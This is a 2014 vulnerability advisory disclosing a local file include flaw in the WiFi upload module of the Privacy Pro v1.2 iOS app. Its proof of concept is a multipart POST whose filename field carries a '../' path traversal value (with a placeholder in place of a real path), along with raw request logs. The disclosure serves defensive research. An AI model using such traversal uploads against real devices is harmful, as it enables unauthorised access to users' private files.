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Privacy Pro v1.2 HZ iOS - File Include Web Vulnerability



Document Title:
===============
Privacy Pro v1.2 HZ iOS - File Include Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1267


Release Date:
=============
2014-05-23


Vulnerability Laboratory ID (VL-ID):
====================================
1267


Common Vulnerability Scoring System:
====================================
6.6


Product & Service Introduction:
===============================
First of all,you need to enter the password two times that means to enter the password and confirm password,please remember the password, so as 
to avoid unnecessary trouble. Personal information manager can provide personal information service personal for you, and provide the password 
verification to ensure the privacy and security of your, include private account, video, pictures, books, telephone, recording, encryption and 
decryption , memos and other functions, and the personal information manager can support WiFi data backup and recovery, we hope it can give 
quite a lot convenient to your life.

( Copy of the Homepage: https://itunes.apple.com/de/app/privacy-account-video-picture/id790084948 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official Privacy Pro v1.2 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-05-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Huang Zhuan
Product: Privacy [Account Video Picture Books Record] - iOS Mobile Web Application 1.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official Privacy Pro v1.2 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system 
specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include 
execution occcurs not like regular in the index list but inside of the upload formular message filename context. The attacker is able 
to inject the local file include request by usage of the `wifi interface`. The affected service inside of the application is only the 
privacy manager `wifi revover data` module. (localhost:56380 -restore)

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute 
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to 
inject is POST. 

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.6. Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application 
user account with low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or 
connected device component compromise.


Request Method(s):
				[+] [POST]

Vulnerable Service(s):
				[+] WiFi Restore Data

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:56380/)


Proof of Concept (PoC):
=======================
The local file/path include web vulnerability can be exploited by local network attackers with low user interaction. For security demonstration or 
to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Source 
<html><head></head><body>../.[FILE/PATH INCLUDE VULNERABILITY!] Upload successfully!</body></html>


--- PoC Session Logs [POST] ---
POST http://localhost:56380/upload Load Flags[LOAD_ONLY_FROM_CACHE  LOAD_FROM_CACHE  VALIDATE_NEVER  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[unbekannt]
   Request Header:
      Host[localhost:56380]
      User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
  Referer[http://localhost:56380/index.html]
   POST-Daten:
      POST_DATA[-----------------------------57581386217946
Content-Disposition: form-data; name="upload_file"; filename="../.[LOCAL FILE/PATH INCLUDE VULNERABILITY!].jpg"
Content-Type: image/jpg

Response Header:
Status: 200[OK] 
GET http://192.168.2.104:56380/index.html Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[1084] Mime Type[text/html]
   Request Header:
      Host[192.168.2.104:56380]
      User-Agent
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
  Connection[keep-alive]
   Response Header:
      Content-Length[1084]
      Content-Type[text/html]


Reference(s):
http://localhost:56380/index.html	(Wifi Restore Data)
http://localhost:56380/upload		(Vulnerable File)


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode and parse of the upload notification message context and input value.
Restrict the upload input and validate the context next to the data restore.


Security Risk:
==============
The security risk of the local file/path include web vulnerability is estimated as high(-).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - LariX4 (research@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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